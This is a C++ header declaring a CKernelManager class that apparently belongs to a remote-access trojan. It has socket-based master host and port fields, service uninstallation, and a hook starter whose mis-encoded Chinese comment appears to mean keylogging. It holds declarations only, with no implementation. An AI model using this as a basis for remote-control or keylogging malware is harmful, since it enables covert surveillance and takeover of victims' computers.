// KernelManager.h: interface for the CKernelManager class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_KERNELMANAGER_H__D073A3EC_2409_4BC0_88E1_DC22AA07986B__INCLUDED_) #define AFX_KERNELMANAGER_H__D073A3EC_2409_4BC0_88E1_DC22AA07986B__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "Manager.h" class CKernelManager : public CManager { public: CKernelManager(CClientSocket *pClient, LPCTSTR lpszMasterHost, UINT nMasterPort); virtual ~CKernelManager(); virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); // char m_strServiceName[256]; void UnInstallService(); bool IsActived(); bool m_bIsActived; void StartUnLineHook();//¼üÅ̼Ǽ CKernelManager(CClientSocket *pClient);//¼üÅ̼Ǽ static char m_strMasterHost[256]; static UINT m_nMasterPort; private: HANDLE m_hThread[1000]; // ×ã¹»ÓÃÁË UINT m_nThreadCount; }; #endif // !defined(AFX_KERNELMANAGER_H__D073A3EC_2409_4BC0_88E1_DC22AA07986B__INCLUDED_)